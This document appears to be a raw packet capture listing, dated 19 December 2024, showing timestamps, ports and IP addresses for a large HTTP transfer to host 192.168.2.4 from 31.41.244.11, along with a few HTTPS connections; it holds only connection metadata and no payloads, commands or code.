Dec 19, 2024 06:10:09.986032009 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.986136913 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.986188889 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.987869978 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.987921953 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.987926006 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.987972975 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.989608049 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.989684105 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.989741087 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.989787102 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.991420984 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.991472960 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.991520882 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.991520882 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.993185043 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.993252039 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.993315935 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.993482113 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.995009899 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.995074987 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.995141029 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.996803045 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.996871948 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.996933937 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.998049021 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.998594999 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.998755932 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.998828888 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.000381947 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.000552893 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.000622034 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.002202988 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.002266884 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.002312899 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.003988981 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.004076004 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.004113913 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.005775928 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.005870104 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.005896091 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.005955935 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.007603884 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.007694960 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.007781029 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.009397984 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.009501934 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.009568930 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.011207104 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.011348009 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.011414051 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.012962103 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.013015985 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.013072014 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.014233112 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.014754057 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.014802933 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.014866114 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.014918089 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.016581059 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.016649961 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.016681910 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.016745090 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.018383026 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.018481016 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.018524885 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.018524885 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.020174026 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.020258904 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.020349979 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.021986961 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.022063971 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.022115946 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.022190094 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.023679972 CET	49918	443	192.168.2.4	104.21.64.80
Dec 19, 2024 06:10:10.023756981 CET	443	49918	104.21.64.80	192.168.2.4
Dec 19, 2024 06:10:10.023763895 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.023829937 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.023854971 CET	49918	443	192.168.2.4	104.21.64.80
Dec 19, 2024 06:10:10.023866892 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.024872065 CET	49918	443	192.168.2.4	104.21.64.80
Dec 19, 2024 06:10:10.024907112 CET	443	49918	104.21.64.80	192.168.2.4
Dec 19, 2024 06:10:10.024909973 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.025546074 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.025619030 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.025698900 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.026119947 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.027369022 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.027455091 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.027460098 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.027503967 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.029161930 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.029211044 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.029284000 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.029349089 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.030962944 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.031377077 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.031450987 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.032748938 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.032803059 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.032887936 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.034512043 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.034605026 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.034672976 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.092219114 CET	443	49915	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:10.092473984 CET	443	49915	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:10.092534065 CET	49915	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:10.092639923 CET	49915	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:10.092679024 CET	443	49915	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:10.136404991 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.136512995 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.136570930 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.137125969 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.137223959 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.137269974 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.137706995 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.138577938 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.138627052 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.138655901 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.138704062 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.140001059 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.140130997 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.140166998 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.140213013 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.141449928 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.141501904 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.141524076 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.141943932 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.142839909 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.142899036 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.142956018 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.144228935 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.144284964 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.144288063 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.144351959 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.145601988 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.145751953 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.145855904 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.147038937 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.147202969 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.147259951 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.148339033 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.148397923 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.148507118 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.148583889 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.149723053 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.149787903 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.149991989 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.151038885 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.151185036 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.151268005 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.152379990 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.152456999 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.152534008 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.152595043 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.153676033 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.153776884 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.153795958 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.153848886 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.154962063 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.155117035 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.155142069 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.155220032 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.156249046 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.156327009 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.156377077 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.156508923 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.157649994 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.157701969 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.157747030 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.157834053 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.158780098 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.158905983 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.158987999 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.160084963 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.160206079 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.160269022 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.161334991 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.161370039 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.161437035 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.161560059 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.162606001 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.162655115 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.162715912 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.162774086 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.163868904 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.163992882 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.164020061 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.164160967 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.165127039 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.165196896 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.165261030 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.165371895 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.166434050 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.166534901 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.166543961 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.166584969 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.167722940 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.167773962 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.167851925 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.168646097 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.168948889 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.169008970 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.169073105 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.169249058 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.170248032 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.170363903 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.170445919 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.171508074 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.171605110 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.171685934 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.172779083 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.172883987 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.172985077 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.174069881 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.174144030 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.174186945 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.174932957 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.175306082 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.175368071 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.175432920 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.175530910 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.176595926 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.176676035 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.176683903 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.176722050 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.177829981 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.177889109 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.177926064 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.177997112 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.179101944 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.179172039 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.179215908 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.179424047 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.180341959 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.180428028 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.180464029 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.180566072 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.181632996 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.181740999 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.181771994 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.181791067 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.182894945 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.182946920 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.182991028 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.183033943 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.184154987 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.184207916 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.184252024 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.184297085 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.185434103 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.185533047 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.185535908 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.185614109 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.186692953 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.186781883 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.186820030 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.186927080 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.187990904 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.188082933 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.188188076 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.189229965 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.189264059 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.189331055 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.189444065 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.190485001 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.190551996 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.190625906 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.190727949 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.191762924 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.191829920 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.191848993 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.192115068 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.193026066 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.193134069 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.193150043 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.194200039 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.194344044 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.194400072 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.194416046 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.194464922 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.195616961 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.195705891 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.195724010 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.195936918 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.196968079 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.197109938 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.197133064 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.198124886 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.198184013 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.198225975 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.199395895 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.199491024 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.199511051 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.199628115 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.200663090 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.200752974 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.200839996 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.202179909 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.202245951 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.202311993 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.203217983 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.203269958 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.203332901 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.204453945 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.204586983 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.244364977 CET	49922	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:10.244381905 CET	443	49922	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:10.244432926 CET	49922	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:10.244797945 CET	49922	443	192.168.2.4	104.21.66.85
Dec 19, 2024 06:10:10.244823933 CET	443	49922	104.21.66.85	192.168.2.4
Dec 19, 2024 06:10:10.328469992 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.328541040 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.328629017 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.329041004 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.329077005 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.329114914 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.329160929 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.330344915 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.330406904 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.330488920 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.330622911 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.330719948 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.331650019 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.331756115 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.331799030 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.332760096 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.332906961 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.332909107 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.333406925 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.333985090 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.334081888 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.334137917 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.334985971 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.335094929 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.335202932 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.336078882 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.336143017 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.336199999 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.336268902 CET	49910	80	192.168.2.4	31.41.244.11
